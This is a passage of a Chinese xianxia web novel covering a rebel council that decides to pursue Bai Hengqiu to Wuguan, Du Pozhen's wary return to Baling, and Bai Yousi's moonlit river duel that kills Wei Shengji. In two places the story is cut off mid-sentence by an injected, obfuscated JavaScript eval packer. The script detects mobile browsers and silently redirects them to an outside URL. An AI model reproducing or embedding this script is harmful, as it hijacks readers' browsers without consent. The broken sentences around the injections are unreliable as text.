理由也很简单,最近越来越放得开的魏文达就说了,河北那边已经动员和出动了,河南则正要调整,没道理要那边更改路线,更不要说大行台的理由很正,打晋地能呼应李龙头,晋地本身到手意义也不下于东都。 说的刘黑榥、张公慎几人连连颔首。 当然,相对于庞大且立场鲜明的河南、河北两大块头领们,也有人提出了一些别的建议……比如说秦宝就询问,要不要先南下,収降淮南军,然后一路进入荆襄,联结白龙头,了结韦胜机? 伍惊风、伍常在兄弟俩的方案更直接,他们建议等白横秋撤军的时候直接追上去,逼入武关,万事可定! 而很快,方案逐渐集中在了前三处……因为最后一个方案很快就有人明确提出了反对意见,认为白横秋到底是大宗师,十之**在长安立了塔,越往那边去越厉害,追上去反而会堵在武关门前没有进展,不如其他方案能迅速产生有效战果。 与此同时,秦宝的方案则随着讨论进行,尤其是在河南河北立场分明的情况下,渐渐有了更多支持者——程知理这位新来的“准指挥”第一个跟上,第一次主动表态的阚棱随之加入,然后牛达也随着转向,接着是王雄诞、张金树等人,最后连伍氏兄弟都明显动摇,并在三个选项中渐渐偏向了这一处。 至于说第三个方案为什么人多,就好像河南头领要打东都、河北头领要打晋地一样,都明显是有另一层缘故的。 那不是白三娘嘛。 争论了一阵子,就连单通海都焦躁起来,瓮声瓮气,直言不讳:“争端这么明显,又是军前,首席本可一言而决,其他人也不好说什么,但我还是要说……南阳一战从一开始就是河南各行台抢在年关前动员参战,年都是在军中过的,且因为雨雪,多日大战死伤累累,若是还让他们春耕时再往南边去大江上,往河北去红山打仗,是不是对他们不公正?” 这话一说,其余人都不好开口了,但几乎所有人,包括一部分河南籍贯头领,也都觉得单通海有些过头了。 说白了,军队要听指挥,一次次整编不就是为这个吗?真要是用这个拿捏住方案,事后肯定会有处置。 “说的是,军心士气一定要考虑。”张行脱口而对。“但这不是军队不听指挥的道理,还是要考虑哪个方案更合理……说实在的,我之所以一直没开口是因为我与大家的讨论都不大相符,我是赞同去叩武关的。” 堂中一时陷入诡异沉默。 “诸位,打东都不是不行……打东都有打东都的道理,我毫不怀疑,打完东都,我就是正经大宗师了,说不得咱们还能再多两位宗师,再去攻杀关西,那就从容许多。”张行开始阐述理由。“打晋地也有晋地的道理,而且大行台那里已经打了……我是尊重他们意见的。 “那么叩武关呢,道理是什么?不是指望能直接破关成功,而是要拖住白横秋,让他这个大英唯一的大宗师兼皇帝不敢离开长安腹心之地!拖住了白横秋,其他三处,尤其是北面晋地跟巫地南下挨得近,很容易形成突破!” 话到这里,张行环顾四面:“但是这么做,也有一个麻烦,就是去武关的部队,很可能在关键的时间内没有任何战功,而我们为了拖住白横秋,最好是此间的部队一个不落的顶上去,让他知道,他要是乱动,真就能破关……换言之,我们要坐视其他人成功。” 堂上再度陷入鸦雀无声的境地。 从几位龙头到范六厨这种最基本的杂牌头领,包括之前提出这个方案的伍氏兄弟,都在艰难的挣扎。 好嘛,又回到了那天,其他人负责统一天下,而我们是代价了。 “那就去武关!”过了不知道多久,单通海忽然拍案而起,震动了堂中所有人。“首席这个方略是公心,而且是咱们自己争执不下的,去河北的话河南的兄弟肯定不满,去打东都河北已经动手了,也说服不了人家……去叩武关,谁都无话可说!争天下的事情,首席自家都不在意功勋威望,我们还要计较吗?!” 此言一出,堂中终于如释重负,众人也开始发言附和起来: “不错,去武关!去武关堵住关西,也方便后方从容吃掉南阳。” “武关到底也算是河南地界,只要司马正不发疯再出来,咱们也能就地休养补员……之前死伤确实重了。” “司马正那个样子,他出来截我们,我们就能回去冲垮他!趁势夺了东都又如何?!” “那就去武关嘛……也不要考虑什么春耕了,仗打到这份上,就是拼这一口气!” “那大江上……” “三娘没那么弱。”张行开口道。“她若需要援军,打通道路之后,自然会与我们说……到时候我们有余力自然可以尽量支援……但现在,如果我们准备去叩武关,现在就要做好准备,从白横秋撤退开始,就咬住他,让他一刻不得喘息!” “那就打武关。”片刻的沉寂后,单通海重申了一遍立场。 很快,在场大小头领近二十人,全手通过了若白横秋真的撤退便立即追击到武关为止的方略。 PS:感谢大家一直以来的支持,变白金了。此外17-18号,要去阅文那边参加一个相关活动,会耽误更新,提前说一声。 第一百零四章 送乌行(14) 正月上旬,阳光明媚,洞庭湖上烟波浩渺。 年前最冷的时候,这里还下了半刻钟的雪,细细碎碎的,像撒盐一般,落入了洞庭湖内,让周遭军民颇为惊喜,都说上次见到下雪已经是五年前了。 这让巴陵城内外的一众淮右盟上下当时面面相觑。 南下小半年了,说实话,盟内其实一直有些言语……都觉得杜破阵在瞎折腾,非得让大家伙背井离乡,尤其是这几个月更明显,因为再往前还能说是为了协助南梁皇帝和白有思搞军事行动,而这几个月两边都对峙成僵局了,杜破阵却只是一心一意以洞庭湖为核心做铺陈与经营,却是终于让所有人不再多想,晓得这厮是要做什么了。 然后,便是北面连番的消息传来,引得人心更加动荡。 好在杜盟主也是有手段的,这个给安排个官职,那个给找个本地媳妇,经常骑个马坐个船去到人家家里,说些闲话,道些难处,倒是也能维持。 这一日,杜盟主尚在洞庭湖内一个岛上慰问屯驻水军,忽然有人乘快船过来,船上悬着铃铛,挂着红旗,驶入港口,惊得周围船只纷纷避让,沿途水道畅通无阻。 杜破阵远远听见铃铛响动,晓得是最紧要消息,赶紧亲自往港口上跑,然后不待船只停稳便匆匆来问:“出了何事?” 信使也是杜破阵身前得用的义子,立即作答:“义父,辅伯唤你速速回去开会,说是北面有要紧军情,还有正经的使者过来,而且不知道怎么回事,南面的林士扬竟也亲自来了!” 杜破阵心下一惊,他昨日刚刚知道司马正出鲁阳关、三家对峙的消息,也在想着会不会爆发大规模战斗,此时一听,不敢怠慢,立即让岛上驻军安排船只,即刻返回。 船快且稳,杜盟主如今有了修为,自然一帆风顺,不到傍晚便望见了矗立在洞庭湖畔的巴陵城,更有不远处君山与城与湖相映相承。 当此时节,真真是春和景明,波澜不惊,上下天光,一碧万顷,沙鸥翔集,锦鳞游泳,岸芷汀兰,郁郁青青。 杜盟主虽然不晓得这些描述,也没有什么喜洋洋的感觉,但他一路上看这些景色,却居然有了一丝庙堂之高、江湖之远的类似感触,乃至于思索起了进退之道,产生了一种谁跟俺一条心的感慨。 倒是天生慧通了。 只不过,他过于聪慧了。 眼看着巴陵城的水门已经出现在视野中,其人忽然心中微动,下令停船收旗,然后就来问身侧同船归来的使者:“辅伯只让我回去开会,说有北面军情和正经使者……林士扬是他说的,还是你看到的?” “孩儿看到的。”使者脱口而对。 “正经使者是谁?”杜破阵继续来问。 使者连番摇头:“连着林士扬,来了许多人,都不像是寻常人物……” “你没看到使者从北面来,也不晓得是谁,反而是许多高手从南面随林士扬一起来?” “是……” “……” “义父,可有什么不妥当?”义子明显慌乱。“这可是辅伯安排的!” “我知道。”杜破阵面不改色。“害人之心不可有,防人之心不可无,怕只怕你辅伯也被对方糊弄了……莫忘了,林士扬是有兼并我们道理的,而且他也能从真火教那里请来高手,若是我和你辅伯一并被他端了,前面抽不开身的白龙头也要认的。” “那该如何应对?” “事情还不一定呢,不能轻举妄动……这样,你先回去复命,只说我临时去了青草湖,没见到我,岳华岛上的小张头领亲自去找我了,你先回来了。” “是……” “不用担心为父,城里都是自己人,为父但有了准备,万事妥当。”杜破阵催促不及。 那信使无奈,只能在船上叩首,然后船只靠岸,杜破阵自引着几个人从陆路隐蔽回城,信使则继续随船自水门归于巴陵。 且不说信使如何,另一边,跟随行侍卫换了衣服的杜破阵依旧小心翼翼,他走陆路来到城下,见到城头上秩序井然,傍晚时分出城的百姓、客商也都密集,并无半点异样。可即便如此,他还是先让自己的几个心腹侍卫兼义子先进去,控制了另一侧某个城墙角楼子,方才顺着垂下绳索爬了上去。 然而,他死活没想到,就是爬墙的行为暴露了他的行踪,引发了城墙上的警惕。 但城墙上的守军惊动,见到是杜破阵本阵,只都是不解罢了——这是在做甚呢?回自家大本营为啥爬墙?!老了要锻炼身体?! 杜破阵自然心里发虚,只是见到城墙守军可靠,便立即用了起来,先着人打探各类消息,然后依次带人接管……或者说是依次视察了仓城、武库、水兵营,却始终没有发觉任何异常,连水兵营头领马胜都在端着碗吃饭,见到杜盟主过来还问他吃不吃? 就这样,随着天黑,杜破阵终于心慌了。 因为辅伯石、林士扬真要是接了黜龙帮的密令除掉他杜破阵,或许用不上这些人,但不可能不对自己死后的**做防备吧? 最起码要封锁武库,控制水门才对。 正慌着呢,那边火光琳琳,大约十几个人往这边来,临到水兵营跟前,辅伯石的声音在暮色中响起,而且明显带着怒气:“杜盟主,你作甚呢?不是去青草湖了吗?如何这么快回来清点武库跟水兵营?” 杜破阵一时尴尬,刚要解释,林士扬那南方腔调又响起来了:“辅大头领装什么呢?这分明是你们张首席的习惯,不通知、不招呼、不陪同,直接进去查看,直接与最基本的军士交谈……都出了名的。” 杜破阵尴尬欲死,只能厚着脸皮勉力支撑:“老辅你是真冤枉我了,我都不知道你找我,小张都不晓得我没去青草湖,而是回来突袭视察城防,自然只能告诉你们我去了青草湖……” “不要闹了!”辅伯石来到跟前,气急败坏。“是真的大事,你幸亏还知道进来,若真是今晚躲在城外,咱们淮右盟上下几万口子,怕是真要被你连累将来!” 杜破阵总算是压下不安,赶紧来问:“出了何事?” “走……先回去,见了谢鸣鹤谢总管再说!”辅伯石一口气吐出去,当时有些无奈的感觉。 倒是林士扬一直在旁冷笑。 杜破阵无奈,只能随从两人往署衙而去。 临到署衙前的丁字路口,气息喘匀的辅伯石忽然止步来言:“老杜。” 杜破阵一愣,赶紧应声。 “我问你,若是天下大局已定,无论是黜龙帮已经吞灭了关西还是关西已经吞并了黜龙帮,让你举众投降,你会如何做?”辅伯石认真来问。 杜破阵一愣,然后缓缓做答:“若是黜龙帮吞灭了关西,我自然无话可说……其实便是现在也无话可说,直接去见张兄弟便是,顺理成章的事情……” 火光下,辅伯石脸色再度难看起来,旁边林士扬几乎要笑出声。 “这不是怕黜龙帮非要拿我嘛,若是顺理成章并进去,谁会这般警惕?”杜破阵赶紧解释,然后继续来言。“至于说若是关西吞灭了黜龙帮,我们要先收纳一些黜龙帮的残兵败将,回报当年的香火情,然后再看关西人是轻视我们还是重视我们,若是重视,借机降了也无妨;若是轻视,便要想方设法打一仗,让他们痛一痛,然后再降。” “记住你说的话。”听到这里,辅伯石语气缓和不少,然后当先走了进去。 杜破阵也低头跟上,再一抬头,只是转到堂前,其人便猛地一惊——原来,堂上竟然坐得满满当当,而且仅凭感觉就知道,竟然个个都是凝丹高手,其中一人跟谢鸣鹤分主客坐了最上首的,更是深不可测。 这难道是北面张行大胜,又不耐自己,真要遣人强行拿下自己去见张行?! 正在惊疑之间,谢鸣鹤也无语了:“杜盟主,你在等甚?之前为何哄骗我们?耍我们有意思吗?知不知道军情如火?!还是说真如大家刚刚说的,你这厮竟以为我们来兼并你的,故意作怪?你什么修为,须一个宗师四个成丹八个凝丹来拿你?军情严肃,赶紧进来!” 听到这阵容,杜破阵才终于放心,忙不迭的在辅伯石的黑脸旁走了进去。 “我是早上接到北面军情的,汉阳那边送来的,说是正月初三那一天,三方在伏牛山大举混战,虽然不分胜负,但张首席进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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众人心神震动,决定不再耽搁,继续西进,终于在当日晚间二更时分抵达江心大洲上的枝江城,就在城东沙洲上见到了等在这里许久的白有思。 双方见面,谢鸣鹤先长呼了一口气,拱手行礼:“白龙头,幸不辱命!” 白有思也笑,却不吭声,只来看冯缶等人,谢鸣鹤赶紧做了细致介绍。 白有思则一一行礼,逢一人便口称谢过二字。 而等到所有人介绍完毕,连杜破阵、林士扬都亲身谢过后,冯缶迫不及待:“白龙头,缶等自南来,正要为国家效力。” 白有思还是笑了一笑,却终于开口说了长句子: “诸位远道来助三娘,三娘自然感激不尽,谢总管**辗转,功莫大焉,冯公心忧国事,自然也是忠恳之态。不过,我与韦胜机的对峙,争得乃是一线之机、一念之通。其中,韦胜机蹉跎日久,视大宗师为根本,所以只将二人争锋作为试炼;而我却以为,天下相争,死伤无数,能早一日平定便当早一日,所以主动呼唤援军。 “故此,诸位南岭豪杰当下应约到此,竟反而与了我那一线机会……那我就先去试一试,若不成,咱们明日一起并肩作战便是,今夜还请诸位先入城歇息,若有兴致,便来江岸观我一战。” 说着,将罗盘取下,交予谢鸣鹤保管,白三娘自己则一人一剑,转身隔着浩荡江面步行往对面松滋而去。 时值初春,双月半圆,映照江面,白有思按剑踏波缓缓而行,只见天上双月、水中双月皆流光溢彩,四面摇动,竟然都被牵引到这位巅峰宗师身上。 走到半江之地,已经满**彩,胜状难名。 而白有思也在江中立定,遥遥呼战:“韦公,自古以来,哪有真正的天命之才临大宗师之门十载不能入的?你何必自欺欺人?如今,咱们隔江已历一秋一冬,复又将春,正该晚辈替你了断执念,你以为如何?” 对面江畔松滋城头上先是有些慌乱,过了片刻,忽然一阵轰鸣,继而升腾起一片黄云,在双月照射下赭黄一片,宛若什么龙虎一般,便往江上扑来。 沙洲上的众人,早已经看的痴了。 PS:出发前先补一章。 第一百零五章 送乌行(15) 随着白有思的挑战,赭黄色云烟如同什么怪兽一般,张牙舞爪,便往江上来扑,而隔着黄云,根本无法察觉到其中的人影。 这不是简单的遮蔽视线,别处不说,沙洲上观战之人,最少也是个凝丹,都察觉到了其中奇妙之处,这黄云明显是韦胜机的真气外显,与这位宗师算是一体两态。而若是这种状态,不破此云,如何伤人? 这几乎算是大宗师的手段了。 只是……只是从冯缶以下,几乎每一个观战之人也都觉得怪异,因为所有人也都知道,韦胜机不是大宗师,他要是大宗师如何在这里与人家白龙头相持? 这就有意思了。 果然,当此黄云,白有思立在江中,如履平地,纹丝不动。忽然一朵黄云化作猛虎形状,便往下扑,相隔十余丈,下方水浪就被真气冲动,滚起涟漪,宛若以目标白三娘所在为花蕊,绽开无数花瓣一般。 此时白有思终于也动,只是抬手一剑,便有一道金光如轮,直接朝着黄云切了过去,金光飘过,黄云如被风吹浪打,当场消散,攻势也自然化解。但黄云一角被破,只是须臾,便也重新在空中补全,然后继续化形来扑。 就这样,两人一在空中,一在水上,一来二去,你攻我守,动作迅速加快,交战范围也变得广大……往往是四五处黄云怪兽或连番或齐下,而白有思挥动长剑,宛若在水上舞蹈,金光、赤光、银光连番交错,将之一一挡下,偶尔主动反击,也能轻易击穿黄云,却又被对方轻易补全。 动作之间,除了黄云辉光之外,空中风生,江面水起,亦是不断,煞为精彩。 然而,就在观战诸人看的如痴如醉之际,忽然间,黄云主动停下了攻势,然后便闻得空中笑声滚滚,继而一个声音居高临下,轰然来言:“贤侄女,你刚刚大言不惭,主动邀战,竟还是这般手段,若是这般,咱们莫说是又一春了,便是再打上三年,怕也难分胜负吧?” 观战之人这才晓得,这一番风生水起,黄云辉光,竟只是他们每日寻常。 而江上立着的白有思闻言也笑:“韦公所言极是,这么打断无什么结果……这样好了,我最近悟到一些新手段,正要让韦公做个评鉴,而此手段之外,我今夜只出三剑来攻,成则成,不成,咱们就早些散了,省的让两城数万军士睡不着觉。” 黄云翻腾,笑声如雷:“好!好!好!来!” “来”字话音刚落,一道银光伴着激浪自水面飞起,切入黄云。 这一击,一开始并没有惊动黄云,实际上,黄云只是一顿,明显是要继续再笑的,但只是再笑了半声便陡然停住,继而沉默了下来。 沙洲上的众人不明所以,只有冯缶一人眯着眼睛来看,然后也渐渐神色严肃起来。 无他,刚刚那一击,并不是白有思挥剑而出……白三娘全程都没有动……竟似乎,似乎是水中倒影挥出来的! 说真的,此时此刻,冯缶非但没有惊异,反而有一种“果然如此”的感觉,果然眼前这两位一直被认为下一个大宗师是有缘由的,因为他们真的已经摸到门槛了,有了一些对他这个寻常宗师而言匪夷所思的手段。 却不知道那位背靠整个黜龙帮与半个天下晋升证位的张首席又是怎么一回事了? 正想着呢,那边明显察觉到怪异之处的韦胜机已经主动进行试探了,黄云再下,果然水面激动,一股真气锋刃几乎是自动弹射而出,将来袭击破。 随即,黄云如落雨,锋刃似电光,双方交错,竟似暴雨淋江。 而整个过程,白有思都没有任何动作,只是持剑指江,然后微微抬头来看黄云,俨然蓄势待发。至于说周遭江水激荡,左右水雾腾起,包括天上黄云四溅,都并没有半点近她衣饰。 到了此时,即便是杜破阵等人也都察觉到,白有思竟然一剑都还没出,就是水中倒影纷乱如舞。 韦胜机明显也在观察,而且他的观察明显是更有效和深入的,于是很快,这种快节奏的攻击停了下来,取而代之的,乃是有意为之的试探与验证。 一会飞云如坠,一会飘忽如雾,然后猛地一击却隔着极远直砸水面,忽然又有一块黄云不知何时潜至江面远端,然后如猛兽狂奔,彷佛一头黄牛奔踏,从江面上直趋白有思。 但都被水中倒影一一化解。 好像水中那两个被双月左右映照出的影子,真就是两位宗师一般。 这个时候,便是黄云中的韦胜机也终于出言赞叹:“好手段!怪不得三娘专门邀战!况且这个手段,分明就是在江中与我对战悟出来的吧?当然,也暗合你观人终观己的观想之道,委实了不起。” 白有思刚要答话,忽然间,四面水波荡漾,远处江面黑暗之中,波涛涌起,须臾便见到四面八方皆有黄云所化黄牛再来奔踏,且这一回牛角牛身分明。 从某个角度来说,这一招,似乎只是以刚刚那一招为基础演化的更高端的全力攻击。 一开始,白有思依旧没有动弹。然而,黄牛奔跑到近处,相互接近连成一个圈子的时候,忽然间一起下潜半个身位,激起无数浪花,并继续往立在中心的目标而去。 远远望去,宛若一个黄色圈套一般在水面水下一起极速收缩,以至于水中倒影被波浪扑打破坏。 这一次,白有思终于动了,其人高高跃起,空中转身一剑,团团划过,便有红光落水,连成一圈,再往四面来扩,登时便将黄色外圈给击碎。 天上黄云见此,再度大笑:“三娘,这可是第一剑了。” 白有思似乎也有些尴尬,重新立定后来笑:“刚刚想出来的手段,粗糙可笑,不然也不会来请教韦公了。” 韦胜机笑声不停,江面远端则再度震动,沙洲众人在外围看的清楚,乃是黄云垂下,生出无数黄牛,奔腾向内,而且是连番不断,卷起大股波浪往白有思那边而去,明显是寻到破绽后不留余地,连番攻击。 只是,白有思既吃了一破绽,如何会再被人寻到第二次? 这一次,其人依旧不动,而待外面黄牛奔腾,卷动水幕之时,忽然间,更外围的水面于夜中亮起,彷佛是水下起了多个月亮,又似乎只是单纯的真气激荡,照亮了环境……更离奇的是,随着亮光在水下不断,一时间四面八方水中皆有倒影,倒影则几乎是一起舞剑,却又动作不同,但不管如何,都从背后将中心的黄牛轻易搏杀干净。 局势当此翻转,韦胜机明显震动迟疑,白有思则昂然抬头,周遭倒影纷纷舞动,无数光芒飞上黄云,打的黄云连番内陷,节节退缩。 黄云迟疑片刻,忽然间,整个涨大起来,竟然将白有思所有倒影一并从空中遮蔽。 白有思一顿,便从更远处启动倒影。 黄云终于再度笑声如雷:“原来如此,果然如此!怪不得你要在江心立定!” 白有思闻言也只是冷笑:“韦公晓得又如何?你我皆非大宗师,多日相争只是伯仲,我今夜就是要借大江明月的天时地利,不然如何有胆气与你定这三剑之约?说到底,还是之前那句话罢了,你若能成大宗师,无论是遮蔽大江还是直接将我本人隔断,都是你的本事,但若不是,我借了天时,就是要胜你一筹!” 黄云翻滚,一声叹气:“非只如此,你还请了援兵对不对?今日只要我没有法门压住你,这些真火教的高手便不会再观望,明夜你就可以请操教主他们一起出手,就在这江心结阵,隔空破了我的城池、码头,杀我兵士,是也不是?” 白有思默不作声。 黄云继续翻腾,声音也高亢起来:“不过你说的也对,咱们相持,争得就是这一线,我若压不过你,凭什么做大宗师?!” 说完,黄云非但没有落下,反而高高升起,非只如此,双月照射下,赭黄色的云团不断伸张扩大,竟有遮天蔽江之态。 一直看的愣神的沙洲众人终于忍不住去看冯缶,因为刚刚那一幕和相关对话他们是真不懂了。 谢鸣鹤更是直接推了这位宗师一把。 “是双月!”冯缶一声叹气,稍作解释,眼睛却盯着那依旧在不停扩散的黄云不动。“白龙头在江中的手段不是将她的倒影显化出来那么简单,更重要的一点是真气从哪里来?若是白龙头自家真气,那断然谈不上借大江明月的天时地利……而若我所料不错,白三娘修三辉真气,正是要借双月当空,江心映照之利,直接从头顶双月借来天地真气,所以真正起效用的,乃是大江映月,然后才是宗师显化手段……至于一开始的两个倒影,只是障眼法。” “所以,韦胜机要遮蔽大江,使江中不能映照?!”谢鸣鹤陡然醒悟。“白龙头已然借了天时地利乃至人心,如今就在赌韦胜机能不能遮蔽大江?” 众人也都醒悟,齐齐去看那黄云,似乎今夜之胜负手已经出现。 若韦胜机不能遮蔽大江,那白有思便是立于不败之地,最差最差如刚刚所言,明夜汇集了众人,在江上摆阵,直接能顶着对方的宗师从容攻击城防、港口,破了当面;反过来说,若韦胜机能遮蔽大江,断了白有思这条路……往极端了说,人家今夜就此证了大宗师也说不定。 黄云不停扩散,速度极快,片刻就已经遮蔽了大半个江面,而且依旧不停,继续往两岸延伸。 感觉到黄云逼近,冯缶赶紧抬手,一道离火真气在身前腾起,直冲云霄,如同起了个火把,也算划了一条线出来……然而,黄云还跟沙洲相隔十余丈呢,自家云团中间便忽然扯出了一个空洞。 韦胜机明显一顿,但下方白有思不知何时开始,早早闭目养神,倒似乎没有发现这个破绽。 黄云停止了扩散,但之前的扩展已经让韦胜机的声音变得飘忽起来:“三娘,你是这个意思吗?激怒老夫,挑衅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168061|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老夫,让老夫自行与天时地利来斗?万一力有不支,露出破绽,你再一剑来袭?” 白有思终于睁开眼,款款相对,丝毫不慌:“诚然如此,竟被韦公看破。” 外面的冯缶等人都麻了……敢情自己这些人也被哄过去了! 正想着呢,韦胜机笑声已经弥漫大江:“好计策,好想法!但要老夫来说,若不能与天斗,与人斗,又有什么资格成大宗师?!今日随你赌一把吧!” 听他言语,竟似乎明知道是计策,还是要争此机遇! “说的好!”白有思也昂然对道。“正该如此,正该如此!” 两人话音刚落,黄云猛地再度扩散开来,左右几乎横江,双月之下,并无半点光彩能落入江心,只有白有思自己身侧微有光芒。 而且,整个过程,似乎并没有出现什么破绽,白有思也没有动手。 好像,好像,他真的成功了! 于是乎,下一刻,成功铺满江面的满江黄云忽然整个罩下,如瀑布飞落,又如暴雨倾盆,而远远去看,则是一个巨大的赭黄色的巨幕盖住了整个江面。 也就是此时,白有思身侧终于光芒绽放,其人脚下轻点江面,整个江面便猛地以她为中心卷动起来,如同泉涌,又似花开,将她整个人送上云霄,或者说,挺剑直冲落下的黄云。 冯缶等人在沙洲上脸色凝重的望着这一幕,一开始,只能隔着黄云看到一点光芒闪动,然后是细碎的光芒,几乎分布了整个黄云。 不用想也知道,这是双方用尽了极限,光芒四溢,自从薄弱处显露。 然后忽然间,随着一道清晰、甚至巨大、彷佛布帛被撕裂的声音传出,一道辉光直冲云霄,照耀了整个夜空,被威凤形状真气巨团包裹的白有思也从中高高飞起……看的冯缶、谢鸣鹤等人目瞪口呆。 不是惊讶她竟然真的冲破了巨幕,而是那威凤突破黄云之后,依旧张开双翅,绕着破口处的光柱盘旋直上不停,甚至很快就失去了踪迹,不晓得到祂底飞了多高,而白有思又在何处? 唯一能确定的就是,随着这第二剑出手,轮到黄云在下,辉光在上了。 黄云明显也察觉到了危险,破口处迅速补全,再度遮蔽了大江。而借着这个机会,众人终于在空中遥遥见到了白有思的身影,此时她已经脱去威凤皮囊,正持剑立于双月之间,而双月也不再是之前半月之态,竟然齐齐满月如轮。 身形显露后,几乎没有任何停顿,只见空中的白有思只是以长剑向下一指,剑锋立即引动流光,流光牵引双月,银赤相交,横溢于己身……下一刻,其人直接出手了第三剑。 乃是自上而下,如仙子坠月,又似是主动牵动着双月一般往下而落,直扑黄云正中。 这一次,没有威凤显化,只有辉光伴随人身。 只是这辉光大盛,整个天际,都如天明一般,黄云反过来被尽数笼罩。 这还不算,随着白有思飞身直下,双月尽随,下方薄弱处皆不能抵挡,一时光绽如射,刺的黄云当场剧烈收缩起来。 但刚一收缩,映射着双月或者说无数辉光的江面又露了出来。 这下子,便是外围寻常凝丹也晓得,黄云露出破绽了! 果然,流光入水,上下一体,江面自外围映出辉光与人,人又持剑,剑又舞动。所谓,上下齐发,上只一剑一人,却引双月如坠,下有众人众剑,乱剑如从,横飞齐走,黄云片片,俱被切下。 待到白有思下坠到江上十余丈的时候,黄云竟然已经尽散。空中一人影踉跄而动,显出身形,却还是死死盯着直直而来的上方光芒。 须臾,之前万点辉光都不见,双月也恢复如常,只是闻得一声“扑通”,彷佛有什么重物落入水中一般。接着,满江泛起无数碎光,径直往东流去。 此时此刻,两军数万人早早被惊动,纷纷来看……偏偏又不晓得到底是什么情形,谁胜谁负,只是惊叹今夜过大了,以及这满江流光委实精彩。 倒是沙洲众人晓得结果,虽心思各异,却齐齐凛然,只屏息噤声,等待人来。 果然,片刻之后,流光散尽,白有思自江上走上沙洲,只见其人左臂带血,冠髻尽散,可衣袍与头发却无风自动。 来到跟前,白有思也不多言,只是持剑拱手,俯身一礼,然后诚恳相对:“幸得诸位襄助,今夜稍得契机,再斩一宗师,明日当速速西进巴蜀,以定天下,还望诸位早立功勋。” 冯缶、谢鸣鹤、杜破阵三人在前,一起严肃回礼,却一人称“恭贺”;一人叹“甚好”;一人言“敢不从命”。 PS:本来该18号晚上回来,但那天上海大雨,飞机将近后半夜才起飞,更离奇的是,到家之后反而不困了,睡了几小时就醒了,代价就是昨天晚上六点多钟吃完饭后往床上一躺,再一睁眼已经今天凌晨了。 第一百零六章 送乌行(16) 翌日天明,乃是正月初十,大江两岸,微微下了场春日小雨。 昨夜一战,光彩如华,煞是热闹,对面松滋城内自然有些流言。但实际,正是因为光彩过于繁盛了,所以关西军上上下下都还没有谁确切察觉到韦胜机的下落,就算是有一些高手看到了最后一幕,猜到己方落败,也都还以为韦元帅在城内修养,万不敢往最后一步想的。 于是乎,关西军营中竟然能有序早餐。 另一边,白有思当然向高级将领们传达了讯息,但下面的军士跟对面其实一个心思,都觉得可能是有些胜负,却万万不敢想到胜负已定、生死已决的……不然为什么之前小半年没有半点进展? 考虑到淮右盟水军主力需要下午才能抵达,白有思也干脆下令一如既往,全营如常,等待援军一起并发,并制定了援军抵达后的一个简单方略。 整个早上,双方竟然一时相安无事,宛如昨夜什么都没有发生一般。 而到了上午,一个意外的访客打破了一切的预定计划——白立本来了。 这位白氏宗族大将在当日得到白皇帝指派来寻白有思后,大胆选择了南下路线,也就是从当时关西军控制的南阳西部地区进入汉水通道,然后避开南阳-襄阳城市群,转而利用自己的修为优势,单人翻越了襄阳西侧的荆山,直接来到了南漳水,最终直下枝江-松滋战场。 这个路线,得以让他在短短数日内便抵达目的地。 临到江北岸,白立本迟疑了一下,最终决定先去见韦胜机,然后再从韦胜机那里出发以使者身份光明正大去见白有思……理由不言自明,一则是要尊重韦胜机;二则如果不光明正大的话,是有一定被扣留风险的。 而这一光明正大,就正大出岔子来了。 他从上游冒险腾空来到南岸,表明身份,入了松滋,找到相熟的一名中郎将,然后去见元帅韦胜机。 再然后他们就发现,韦胜机不见了?! 关西军的高级军官们当然不是傻子,联想到昨日情形,立即意识到出了天大的事……退一万步说,韦胜机只是被打伤了,钻到后面山里疗伤,一时半会出不来,那也不能空悬帅位呀?! 白立本到底是有担当的,且晓得厉害,他只与带自己进来的军官做了关于韦胜机生死的讨论。然后再召集营中其他自己熟稔的将领时,便只告诉这些人李定打了东部巫族,现在随时可能南下,所以韦元帅被紧急召回长安,吐万长论作为副帅马上南下来接替,自己则作为天使和一卫大将军将都督全军撤回白帝城。 最后,方才鸣鼓聚将,汇集全军中高级军官,又说人家韦胜机久战无功,部队悬在巴蜀下游耗费日久,陛下已经下旨让韦胜机与吐万长论对调……没有想到韦胜机发脾气直接走了! 所以,只能由他这个天使和督军都督全军先撤回白帝城,等待吐万副帅。 一番哄骗之后,甭管大家信不信,但到底白立本本人的身份在这里,军中阶级法在这里,而最重要的一点是,大家知道韦胜机莫名其妙不在后,大约都晓得“一旦被发现”,白有思就要打过来了,而对面打过来是没人能阻挡的,所以赶紧走是没问题的! 于是乎,中午之前,在白立本这个天降神兵的带领下,此地的关西军如同南阳那边一样,开始了总体称得上有序的大举后撤。 这下子,白有思也坐不住了,不待后续水军援军抵达,立即仓促发兵。 冯缶带头,一位宗师和十余位新援凝丹一起出动,立即与部分水师隔断大江,试图将大英水师尽数拦截在江面,而白有思亲自与杜破阵、辅伯石、王厚等人率领部分兵马尝试跨江攻城。 白有思一动,黄云却再没有出现,关西军军心当即动荡失控。 甫一接战,便是大英水陆全军崩溃的结局! 坦诚说,从白有思到谢鸣鹤都觉得有些难以接受,因为若是能再晚一两个时辰,只要后续水师到了,有了充足的船只,完全可以一面锁住对方港口,一面从下游运兵跨江进行陆路攻击。 到时候,非但是全胜之局,还能把宝贵的船只给抢到手! 而现在呢? 现在最少有三分之一的敌方船只因为松滋城更居于上游的缘故,趁着一开始那一拨挂帆直接跑了,陆上更是因为部队短时间内难以调配过江,使得大英的大量兵马直接顺着陆路往上游逃窜。 不过,这是站在白有思和谢鸣鹤的视角来看,实际上,不要说从关西军的角度来看了,就连从冯缶这些人看来,都觉得已经足够摧枯拉朽了。 